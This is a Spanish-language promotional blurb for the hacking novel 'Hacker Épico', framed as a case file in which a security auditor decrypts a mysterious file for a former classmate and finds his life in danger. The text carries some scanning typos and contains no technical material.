en el libro de Hacker Epico donde podras vivir una aventura
inolvidable. Sujetos investigados: Angel Rios, auditor seguridad
informdtica. y Marcos, complice y amigo. Heches: Tratamiento
e investigacion desautorizada de archivos de cardcter altamente
confidencial. Declaraciones: Durante el pasado fin de semana, a
punto de terminar un proyecto muy imporlante, tuve una cita con
Yolanda, antigua compaiiera de clase: me ha pedido que descifre
un misterioso archivo, ella me gusta, no supe decirle que no. Ahora
no sé qué esta pasando, desde que descifié el archivo nuestras
vidas estan en peligro. debe de haber una trama encubierta de
mentiras detrds de todo esto y solo dependo de mis conocimientos
de hacking para hacer ptiblica la verdad.




